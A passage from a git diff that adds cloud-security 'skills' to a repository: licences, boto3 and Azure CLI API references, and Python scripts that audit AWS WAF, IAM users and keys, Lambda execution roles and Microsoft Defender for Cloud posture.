parser.add_argument("--name", help="Web ACL name") + parser.add_argument("--id", help="Web ACL ID") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--rule-metric", help="Rule metric name for sampling") + parser.add_argument("--rule-name", help="Rate-based rule name") + parser.add_argument("--hours", type=int, default=24, help="Lookback hours for metrics") + args = parser.parse_args() + + client = get_waf_client(args.region) + + if args.action == "list": + list_web_acls(client) + elif args.action == "details": + acl, _ = get_web_acl_details(client, args.name, args.id) + check_waf_association(client, acl["ARN"]) + elif args.action == "audit": + audit_web_acl(client, args.name, args.id) + elif args.action == "metrics": + get_waf_metrics(args.region, args.name or "api-gateway-waf", args.hours) + elif args.action == "samples": + acls = list_web_acls(client) + acl_arn = next((a["ARN"] for a in acls if a["Name"] == args.name), None) + if acl_arn: + get_sampled_requests(client, acl_arn, args.rule_metric or "ALL") + elif args.action == "rate-keys": + get_rate_based_keys(client, args.name, args.id, args.rule_name or "RateLimitPerIP") + + +if __name__ == "__main__": + main() diff --git a/skills/securing-aws-iam-permissions/LICENSE b/skills/securing-aws-iam-permissions/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-aws-iam-permissions/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-aws-iam-permissions/references/api-reference.md b/skills/securing-aws-iam-permissions/references/api-reference.md new file mode 100644 index 00000000..43822573 --- /dev/null +++ b/skills/securing-aws-iam-permissions/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Securing AWS IAM Permissions + +## boto3 IAM Client + +### Installation +```bash +pip install boto3 +``` + +### Key Methods + +| Method | Description | +|--------|-------------| +| `list_users()` | List all IAM users in the account | +| `list_roles()` | List all IAM roles | +| `list_access_keys()` | List access keys for a user | +| `get_access_key_last_used()` | Get last usage info for an access key | +| `list_attached_role_policies()` | List managed policies attached to a role | +| `list_role_policies()` | List inline policy names for a role | +| `get_role_policy()` | Get inline policy document for a role | +| `list_mfa_devices()` | List MFA devices for a user | +| `get_login_profile()` | Check if user has console access | +| `generate_credential_report()` | Trigger credential report generation | +| `get_credential_report()` | Download the credential report (CSV, base64) | +| `simulate_principal_policy()` | Test effective permissions for a principal | +| `update_access_key()` | Activate or deactivate an access key | +| `put_role_permissions_boundary()` | Apply a permission boundary to a role | + +## boto3 Access Analyzer Client + +| Method | Description | +|--------|-------------| +| `create_analyzer()` | Create an IAM Access Analyzer (type: ACCOUNT or ORGANIZATION) | +| `list_analyzers()` | List existing analyzers | +| `list_findings()` | Get active findings for external access | +| `start_policy_generation()` | Generate least-privilege policy from CloudTrail | +| `get_generated_policy()` | Retrieve a generated policy by job ID | +| `validate_policy()` | Validate a policy against IAM best practices | + +### Credential Report CSV Fields +| Field | Description | +|-------|-------------| +| `user` | IAM username | +| `arn` | User ARN | +| `password_enabled` | Whether console password is set | +| `mfa_active` | Whether MFA is enabled | +| `access_key_1_active` | Whether first access key is active | +| `access_key_1_last_used_date` | Last usage timestamp | +| `access_key_1_last_rotated` | Last rotation timestamp | + +## References +- boto3 IAM docs: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/iam.html +- IAM Access Analyzer: https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html +- IAM Best Practices: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html diff --git a/skills/securing-aws-iam-permissions/scripts/agent.py b/skills/securing-aws-iam-permissions/scripts/agent.py new file mode 100644 index 00000000..29c1c9f4 --- /dev/null +++ b/skills/securing-aws-iam-permissions/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +"""Agent for auditing and hardening AWS IAM permissions using least-privilege principles.""" + +import boto3 +import json +import csv +import sys +import argparse +from datetime import datetime, timedelta, timezone +from base64 import b64decode + + +def get_credential_report(): + """Generate and parse the IAM credential report.""" + iam = boto3.client("iam") + iam.generate_credential_report() + import time + for _ in range(10): + try: + response = iam.get_credential_report() + content = b64decode(response["Content"]).decode("utf-8") + lines = content.strip().split("\n") + reader = csv.DictReader(lines) + report = list(reader) + print(f"[*] Credential report: {len(report)} users") + return report + except iam.exceptions.CredentialReportNotReadyException: + time.sleep(2) + return [] + + +def find_stale_access_keys(max_age_days=90): + """Find access keys older than the specified threshold.""" + iam = boto3.client("iam") + cutoff = datetime.now(timezone.utc) - timedelta(days=max_age_days) + stale_keys = [] + users = iam.list_users()["Users"] + for user in users: + keys = iam.list_access_keys(UserName=user["UserName"])["AccessKeyMetadata"] + for key in keys: + if key["CreateDate"] < cutoff and key["Status"] == "Active": + last_used = iam.get_access_key_last_used(AccessKeyId=key["AccessKeyId"]) + last_used_date = last_used["AccessKeyLastUsed"].get("LastUsedDate", "Never") + stale_keys.append({ + "user": user["UserName"], "key_id": key["AccessKeyId"], + "created": key["CreateDate"].isoformat(), "last_used": str(last_used_date), + }) + print(f" [!] Stale key: {user['UserName']} - {key['AccessKeyId']} " + f"(created: {key['CreateDate'].strftime('%Y-%m-%d')})") + print(f"[*] Found {len(stale_keys)} stale access keys (>{max_age_days} days)") + return stale_keys + + +def find_overprivileged_roles(): + """Identify roles with AdministratorAccess or wildcard policies.""" + iam = boto3.client("iam") + findings = [] + roles = iam.list_roles()["Roles"] + for role in roles: + if role["Path"].startswith("/aws-service-role/"): + continue + attached = iam.list_attached_role_policies(RoleName=role["RoleName"])["AttachedPolicies"] + for policy in attached: + if policy["PolicyName"] in ("AdministratorAccess", "PowerUserAccess"): + findings.append({ + "role": role["RoleName"], "policy": policy["PolicyName"], + "severity": "CRITICAL" if policy["PolicyName"] == "AdministratorAccess" else "HIGH", + }) + print(f" [!] {role['RoleName']} has {policy['PolicyName']}") + inline_policies = iam.list_role_policies(RoleName=role["RoleName"])["PolicyNames"] + for pol_name in inline_policies: + pol_doc = iam.get_role_policy(RoleName=role["RoleName"], PolicyName=pol_name)["PolicyDocument"] + for stmt in pol_doc.get("Statement", []): + actions = stmt.get("Action", []) + resources = stmt.get("Resource", []) + if isinstance(actions, str): + actions = [actions] + if isinstance(resources, str): + resources = [resources] + if "*" in actions and "*" in resources and stmt.get("Effect") == "Allow": + findings.append({ + "role": role["RoleName"], "policy": f"inline:{pol_name}", + "severity": "CRITICAL", + }) + print(f" [!] {role['RoleName']} inline policy '{pol_name}' has *:* Allow") + print(f"[*] Found {len(findings)} overprivileged roles") + return findings + + +def check_mfa_status(): + """Check which IAM users have MFA enabled.""" + iam = boto3.client("iam") + users_without_mfa = [] + users = iam.list_users()["Users"] + for user in users: + mfa_devices = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"] + if not mfa_devices: + login_profile = None + try: + iam.get_login_profile(UserName=user["UserName"]) + login_profile = True + except iam.exceptions.NoSuchEntityException: + login_profile = False + if login_profile: + users_without_mfa.append(user["UserName"]) + print(f" [!] {user['UserName']} has console access but NO MFA") + print(f"[*] {len(users_without_mfa)} console users without MFA") + return users_without_mfa + + +def check_access_analyzer(region="us-east-1"): + """Check IAM Access Analyzer findings for external access.""" + aa = boto3.client("accessanalyzer", region_name=region) + analyzers = aa.list_analyzers(Type="ACCOUNT")["analyzers"] + if not analyzers: + print(" [-] No Access Analyzer configured. Creating one...") + aa.create_analyzer(analyzerName="account-analyzer", type="ACCOUNT") + return [] + analyzer_arn = analyzers[0]["arn"] + findings = aa.list_findings(analyzerArn=analyzer_arn, + filter={"status": {"eq": ["ACTIVE"]}})["findings"] + print(f"[*] Access Analyzer active findings: {len(findings)}") + for f in findings[:10]: + print(f" [!] {f['resourceType']}: {f['resource']} - {f.get('condition', {})}") + return findings + + +def generate_audit_report(stale_keys, overpriv_roles, no_mfa, aa_findings, output_path): + """Generate a consolidated IAM audit report.""" + report = { + "audit_date": datetime.now().isoformat(), + "summary": { + "stale_access_keys": len(stale_keys), + "overprivileged_roles": len(overpriv_roles), + "users_without_mfa": len(no_mfa), + "access_analyzer_findings": len(aa_findings), + }, + "stale_access_keys": stale_keys, + "overprivileged_roles": overpriv_roles, + "users_without_mfa": no_mfa, + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Audit report saved to {output_path}") + total = len(stale_keys) + len(overpriv_roles) + len(no_mfa) + len(aa_findings) + print(f"[*] Total findings: {total}") + + +def main(): + parser = argparse.ArgumentParser(description="AWS IAM Security Audit Agent") + parser.add_argument("action", choices=["full-audit", "stale-keys", "overpriv-roles", "mfa-check", + "access-analyzer", "credential-report"]) + parser.add_argument("--max-key-age", type=int, default=90, help="Max access key age in days") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("-o", "--output", default="iam_audit_report.json") + args = parser.parse_args() + + if args.action == "credential-report": + get_credential_report() + elif args.action == "stale-keys": + find_stale_access_keys(args.max_key_age) + elif args.action == "overpriv-roles": + find_overprivileged_roles() + elif args.action == "mfa-check": + check_mfa_status() + elif args.action == "access-analyzer": + check_access_analyzer(args.region) + elif args.action == "full-audit": + print("[*] Running full IAM security audit...") + stale = find_stale_access_keys(args.max_key_age) + overpriv = find_overprivileged_roles() + no_mfa = check_mfa_status() + aa = check_access_analyzer(args.region) + generate_audit_report(stale, overpriv, no_mfa, aa, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/securing-aws-lambda-execution-roles/LICENSE b/skills/securing-aws-lambda-execution-roles/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-aws-lambda-execution-roles/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-aws-lambda-execution-roles/references/api-reference.md b/skills/securing-aws-lambda-execution-roles/references/api-reference.md new file mode 100644 index 00000000..9daa8bc9 --- /dev/null +++ b/skills/securing-aws-lambda-execution-roles/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Securing AWS Lambda Execution Roles + +## boto3 Lambda Client + +### Key Methods +| Method | Description | +|--------|-------------| +| `list_functions()` | List all Lambda functions with role ARNs and runtime info | +| `get_function_configuration()` | Get function config including execution role | +| `update_function_configuration()` | Update function settings (role, KMS key, logging) | +| `create_function_url_config()` | Configure function URL with auth type | + +## boto3 IAM Client (Role Analysis) + +| Method | Description | +|--------|-------------| +| `get_role()` | Get role details including trust policy and permission boundary | +| `list_attached_role_policies()` | List managed policies on a role | +| `list_role_policies()` | List inline policy names | +| `get_role_policy()` | Get inline policy document | +| `put_role_permissions_boundary()` | Apply permission boundary | +| `simulate_principal_policy()` | Test effective permissions | +| `create_role()` | Create new role with trust policy | +| `attach_role_policy()` | Attach a managed policy to a role | + +## boto3 Access Analyzer Client + +| Method | Description | +|--------|-------------| +| `validate_policy()` | Validate policy against security best practices | +| `start_policy_generation()` | Generate least-privilege policy from CloudTrail | +| `get_generated_policy()` | Retrieve generated policy result | +| `check_no_new_access()` | Verify policy does not grant new access | + +### Trust Policy Structure +```json +{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": {"Service": "lambda.amazonaws.com"}, + "Action": "sts:AssumeRole", + "Condition": { + "StringEquals": {"aws:SourceAccount": "ACCOUNT_ID"} + } + }] +} +``` + +### Permission Boundary Effect +The effective permissions are the intersection of: +1. Identity-based policy (attached to role) +2. Permission boundary (maximum allowed permissions) +3. Service Control Policies (organizational guardrails) + +## References +- Lambda execution role docs: https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html +- Permission boundaries: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html +- Access Analyzer policy validation: https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-policy-validation.html diff --git a/skills/securing-aws-lambda-execution-roles/scripts/agent.py b/skills/securing-aws-lambda-execution-roles/scripts/agent.py new file mode 100644 index 00000000..c382a95a --- /dev/null +++ b/skills/securing-aws-lambda-execution-roles/scripts/agent.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""Agent for auditing and securing AWS Lambda execution roles.""" + +import boto3 +import json +import sys +import argparse +from datetime import datetime, timedelta, timezone + + +def list_lambda_roles(region="us-east-1"): + """List all Lambda functions and their execution roles.""" + lam = boto3.client("lambda", region_name=region) + iam = boto3.client("iam") + functions = [] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for func in page["Functions"]: + role_arn = func["Role"] + role_name = role_arn.split("/")[-1] + functions.append({ + "function_name": func["FunctionName"], + "runtime": func.get("Runtime", "N/A"), + "role_name": role_name, + "role_arn": role_arn, + }) + print(f" {func['FunctionName']} -> {role_name} ({func.get('Runtime', 'N/A')})") + print(f"\n[*] Total Lambda functions: {len(functions)}") + return functions + + +def audit_role_permissions(role_name): + """Analyze attached and inline policies for a Lambda execution role.""" + iam = boto3.client("iam") + findings = [] + attached = iam.list_attached_role_policies(RoleName=role_name)["AttachedPolicies"] + broad_policies = ["AdministratorAccess", "PowerUserAccess", "AmazonS3FullAccess", + "AmazonDynamoDBFullAccess", "AmazonSQSFullAccess"] + for pol in attached: + if pol["PolicyName"] in broad_policies: + findings.append({ + "type": "OVERPRIVILEGED_MANAGED_POLICY", "severity": "CRITICAL", + "role": role_name, "policy": pol["PolicyName"], + "detail": f"Broad managed policy '{pol['PolicyName']}' attached to Lambda role", + }) + print(f" [!] CRITICAL: {role_name} has {pol['PolicyName']}") + + inline_names = iam.list_role_policies(RoleName=role_name)["PolicyNames"] + for pol_name in inline_names: + doc = iam.get_role_policy(RoleName=role_name, PolicyName=pol_name)["PolicyDocument"] + for stmt in doc.get("Statement", []): + if stmt.get("Effect") != "Allow": + continue + actions = stmt.get("Action", []) + resources = stmt.get("Resource", []) + if isinstance(actions, str): + actions = [actions] + if isinstance(resources, str): + resources = [resources] + wildcard_actions = [a for a in actions if a.endswith(":*") or a == "*"] + if wildcard_actions and "*" in resources: + findings.append({ + "type": "WILDCARD_POLICY", "severity": "HIGH", + "role": role_name, "policy": pol_name, + "detail": f"Wildcard actions {wildcard_actions} on Resource '*'", + }) + print(f" [!] HIGH: {role_name}/{pol_name} has wildcard actions on *") + return findings + + +def check_permission_boundary(role_name): + """Check if a Lambda execution role has a permission boundary.""" + iam = boto3.client("iam") + role = iam.get_role(RoleName=role_name)["Role"] + boundary = role.get("PermissionsBoundary") + if boundary: + print(f" [OK] {role_name} has boundary: {boundary['PermissionsBoundaryArn']}") + return True + else: + print(f" [!] {role_name} has NO permission boundary") + return False + + +def check_trust_policy(role_name): + """Validate the trust policy for confused deputy prevention.""" + iam = boto3.client("iam") + role = iam.get_role(RoleName=role_name)["Role"] + trust_doc = role["AssumeRolePolicyDocument"] + findings = [] + for stmt in trust_doc.get("Statement", []): + conditions = stmt.get("Condition", {}) + principal = stmt.get("Principal", {}) + service = principal.get("Service", "") + if service == "lambda.amazonaws.com" and not conditions: + findings.append({ + "type": "MISSING_TRUST_CONDITION", "severity": "MEDIUM", + "role": role_name, + "detail": "Trust policy lacks aws:SourceAccount or aws:SourceArn condition", + }) + print(f" [!] MEDIUM: {role_name} trust policy lacks confused deputy prevention") + return findings + + +def validate_with_access_analyzer(policy_document, region="us-east-1"): + """Validate a policy document using IAM Access Analyzer.""" + aa = boto3.client("accessanalyzer", region_name=region) + response = aa.validate_policy( + policyDocument=json.dumps(policy_document), + policyType="IDENTITY_POLICY", + ) + findings = response.get("findings", []) + for f in findings: + print(f" [{f['findingType']}] {f['issueCode']}: {f.get('findingDetails', '')}") + return findings + + +def full_audit(region="us-east-1"): + """Run a complete audit of all Lambda execution roles.""" + print("[*] Starting Lambda execution role audit...") + functions = list_lambda_roles(region) + all_findings = [] + audited_roles = set() + + for func in functions: + role_name = func["role_name"] + if role_name in audited_roles: + continue + audited_roles.add(role_name) + print(f"\n[*] Auditing role: {role_name}") + all_findings.extend(audit_role_permissions(role_name)) + all_findings.extend(check_trust_policy(role_name)) + has_boundary = check_permission_boundary(role_name) + if not has_boundary: + all_findings.append({ + "type": "NO_PERMISSION_BOUNDARY", "severity": "MEDIUM", + "role": role_name, "detail": "No permission boundary applied", + }) + + critical = sum(1 for f in all_findings if f["severity"] == "CRITICAL") + high = sum(1 for f in all_findings if f["severity"] == "HIGH") + medium = sum(1 for f in all_findings if f["severity"] == "MEDIUM") + print(f"\n[*] Audit complete: {len(all_findings)} findings " + f"(Critical: {critical}, High: {high}, Medium: {medium})") + return all_findings + + +def main(): + parser = argparse.ArgumentParser(description="AWS Lambda Execution Role Security Agent") + parser.add_argument("action", choices=["list", "audit-role", "full-audit", "check-boundary", + "check-trust", "validate-policy"]) + parser.add_argument("--role", help="Role name to audit") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--policy-file", help="Policy JSON file to validate") + parser.add_argument("-o", "--output", default="lambda_role_audit.json") + args = parser.parse_args() + + if args.action == "list": + list_lambda_roles(args.region) + elif args.action == "audit-role": + audit_role_permissions(args.role) + elif args.action == "full-audit": + findings = full_audit(args.region) + with open(args.output, "w") as f: + json.dump(findings, f, indent=2, default=str) + print(f"[*] Report saved to {args.output}") + elif args.action == "check-boundary": + check_permission_boundary(args.role) + elif args.action == "check-trust": + check_trust_policy(args.role) + elif args.action == "validate-policy": + with open(args.policy_file) as f: + doc = json.load(f) + validate_with_access_analyzer(doc, args.region) + + +if __name__ == "__main__": + main() diff --git a/skills/securing-azure-with-microsoft-defender/LICENSE b/skills/securing-azure-with-microsoft-defender/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-azure-with-microsoft-defender/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-azure-with-microsoft-defender/references/api-reference.md b/skills/securing-azure-with-microsoft-defender/references/api-reference.md new file mode 100644 index 00000000..6eaeec05 --- /dev/null +++ b/skills/securing-azure-with-microsoft-defender/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Securing Azure with Microsoft Defender + +## Azure CLI Security Commands + +### Defender Plans +```bash +az security pricing list # List all Defender plan statuses +az security pricing create --name --tier Standard # Enable a plan +``` + +### Secure Score +```bash +az security secure-score list # Get current secure score +az security secure-score-controls list # List score control categories +``` + +### Assessments +```bash +az security assessment list # List all security assessments +az security assessment show --name # Get assessment details +``` + +### Alerts +```bash +az security alert list # List active security alerts +az security alert update --name --status Dismissed # Update alert status +``` + +### Security Contacts +```bash +az security contact create --name default --email soc@company.com --alert-notifications on +``` + +## Azure Resource Graph (Attack Paths) +```bash +az graph query -q "securityresources | where type == 'microsoft.security/attackpaths'" +``` + +## Defender Plan Names +| Plan Name | Protection Scope | +|-----------|-----------------| +| `VirtualMachines` | Servers (P1/P2) | +| `Containers` | AKS, ACR, container runtime | +| `StorageAccounts` | Blob, File, Queue storage | +| `SqlServers` | Azure SQL Database | +| `CosmosDbs` | Cosmos DB accounts | +| `KeyVaults` | Key Vault operations | +| `AppServices` | App Service/Functions | +| `Dns` | DNS layer protection | +| `Arm` | Azure Resource Manager | + +## JIT VM Access +```bash +az security jit-policy create --resource-group --location --name default \ + --virtual-machines '[{"id": "", "ports": [{"number": 22, ...}]}]' +``` + +## References +- Defender for Cloud docs: https://learn.microsoft.com/en-us/azure/defender-for-cloud/ +- Azure CLI security reference: https://learn.microsoft.com/en-us/cli/azure/security +- Secure Score overview: https://learn.microsoft.com/en-us/azure/defender-for-cloud/secure-score-security-controls diff --git a/skills/securing-azure-with-microsoft-defender/scripts/agent.py b/skills/securing-azure-with-microsoft-defender/scripts/agent.py new file mode 100644 index 00000000..d9dd5e5c --- /dev/null +++ b/skills/securing-azure-with-microsoft-defender/scripts/agent.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +"""Agent for monitoring and managing Microsoft Defender for Cloud security posture.""" + +import subprocess +import json +import sys +import argparse +from datetime import datetime + + +def run_az_command(args_list): + """Execute an Azure CLI command and return parsed JSON output.""" + cmd = ["az"] + args_list + ["--output", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode != 0: + print(f" [-] Error: {result.stderr.strip()}") + return None + return json.loads(result.stdout) if result.stdout.strip() else None + except (subprocess.TimeoutExpired, json.JSONDecodeError) as e: + print(f" [-] Command failed: {e}") + return None + + +def get_defender_plans(): + """List all Defender for Cloud pricing plans and their status.""" + print("[*] Checking Defender for Cloud plan status...") + plans = run_az_command(["security", "pricing", "list"]) + if not plans: + return [] + enabled = [] + for plan in plans: + tier = plan.get("pricingTier", "Free") + name = plan.get("name", "Unknown") + sub_plan = plan.get("subPlan", "") + status = "ENABLED" if tier == "Standard" else "FREE" + indicator = "[+]" if tier == "Standard" else "[-]" + sub_info = f" ({sub_plan})" if sub_plan else "" + print(f" {indicator} {name}: {status}{sub_info}") + if tier == "Standard": + enabled.append({"name": name, "tier": tier, "subPlan": sub_plan}) + print(f"[*] {len(enabled)} plans enabled out of {len(plans)} total") + return enabled + + +def get_secure_score(): + """Retrieve the current Secure Score across subscriptions.""" + print("\n[*] Fetching Secure Score...") + scores = run_az_command(["security", "secure-score", "list"]) + if not scores: + return {} + for score in scores: + current = score.get("current", 0) + maximum = score.get("max", 0) + pct = round((current / maximum * 100), 1) if maximum > 0 else 0 + print(f" Score: {current}/{maximum} ({pct}%)") + return scores + + +def get_security_assessments(severity_filter=None): + """List security assessments and their health status.""" + print("\n[*] Fetching security assessments...") + assessments = run_az_command(["security", "assessment", "list"]) + if not assessments: + return [] + unhealthy = [] + for a in assessments: + props = a.get("properties", {}) + status = props.get("status", {}).get("code", "") + if status == "Unhealthy": + sev = props.get("metadata", {}).get("severity", "Unknown") + display = props.get("displayName", "Unknown") + if severity_filter and sev.lower() != severity_filter.lower(): + continue + unhealthy.append({"name": display, "severity": sev, "status": status}) + print(f" [{sev.upper()}] {display}") + print(f"[*] {len(unhealthy)} unhealthy assessments found") + return unhealthy + + +def get_security_alerts(days=7): + """Retrieve recent security alerts from Defender for Cloud.""" + print(f"\n[*] Fetching security alerts (last {days} days)...") + alerts = run_az_command(["security", "alert", "list"]) + if not alerts: + return [] + severity_counts = {"High": 0, "Medium": 0, "Low": 0, "Informational": 0} + active_alerts = [] + for alert in alerts: + props = alert.get("properties", {}) + status = props.get("status", "") + if status in ("Active", "InProgress"): + sev = props.get("severity", "Unknown") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + active_alerts.append({ + "name": props.get("alertDisplayName", "Unknown"), + "severity": sev, + "status": status, + "timestamp": props.get("timeGeneratedUtc", ""), + }) + for sev, count in severity_counts.items(): + if count > 0: + print(f" [{sev}] {count} alerts") + return active_alerts + + +def check_security_contacts(): + """Verify security contact configuration for alert notifications.""" + print("\n[*] Checking security contact configuration...") + contacts = run_az_command(["security", "contact", "list"]) + if not contacts: + print(" [!] No security contacts configured") + return False + for contact in contacts: + email = contact.get("email", "Not set") + alerts = contact.get("alertNotifications", "off") + print(f" Email: {email} | Alert notifications: {alerts}") + return True + + +def check_auto_provisioning(): + """Check auto-provisioning settings for security agents.""" + print("\n[*] Checking auto-provisioning settings...") + settings = run_az_command(["security", "auto-provisioning-setting", "list"]) + if not settings: + return [] + for s in settings: + name = s.get("name", "Unknown") + auto_prov = s.get("autoProvision", "Off") + indicator = "[+]" if auto_prov == "On" else "[-]" + print(f" {indicator} {name}: {auto_prov}") + return settings + + +def generate_posture_report(output_path): + """Generate a comprehensive security posture report.""" + print("[*] Generating security posture report...") + report = { + "report_date": datetime.now().isoformat(), + "defender_plans": get_defender_plans(), + "secure_score": get_secure_score(), + "unhealthy_assessments": get_security_assessments(), + "active_alerts": get_security_alerts(), + "contacts_configured": check_security_contacts(), + "auto_provisioning": check_auto_provisioning(), + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Microsoft Defender for Cloud Security Agent") + parser.add_argument("action", choices=["plans", "score", "assessments", "alerts", + "contacts", "auto-provision", "full-report"]) + parser.add_argument("--severity", choices=["high", "medium", "low"], help="Filter by severity") + parser.add_argument("--days", type=int, default=7, help="Alert lookback in days") + parser.add_argument("-o", "--output", default="defender_report.json") + args = parser.parse_args() + + if args.action == "plans": + get_defender_plans() + elif args.action == "score": + get_secure_score() + elif args.action == "assessments": + get_security_assessments(args.severity) + elif args.action == "alerts": + get_security_alerts(args.days) + elif args.action == "contacts": + check_security_contacts() + elif args.action == "auto-provision": + check_auto_provisioning() + elif args.action == "full-report": + generate_posture_report(args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/securing-container-registry-images/LICENSE b/skills/securing-container-registry-images/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-container-registry-images/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-container-registry-images/references/api-reference.md b/skills/securing-container-registry-images/references/api-reference.md new file mode 100644 index 00000000..046d341f --- /dev/null +++ b/skills/securing-container-registry-images/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Securing Container Registry Images + +## Trivy CLI +```bash +trivy image [OPTIONS] IMAGE +``` +| Flag | Description | +|------|-------------| +| `--severity` | Filter by severity: CRITICAL,HIGH,MEDIUM,LOW | +| `--format` | Output format: table, json, sarif, spdx-json | +| `--exit-code 1` | Exit with code 1 if vulnerabilities found | +| `--scanners` | Scanner types: vuln, misconfig, secret | +| `--output FILE` | Write results to file | + +## Cosign CLI +| Command | Description | +|---------|-------------| +| `cosign sign --key KEY IMAGE` | Sign an image with a private key | +| `cosign verify --key KEY IMAGE` | Verify image signature | +| `cosign generate-key-pair` | Generate signing key pair | +| `cosign attest --predicate FILE IMAGE` | Attach signed attestation | +| `cosign attach sbom --sbom FILE IMAGE` | Attach SBOM to image | + +## Syft CLI (SBOM Generation) +```bash +syft IMAGE -o FORMAT > output.json +``` +Formats: `spdx-json`, `cyclonedx-json`, `table`, `json` + +## boto3 ECR Client + +| Method | Description | 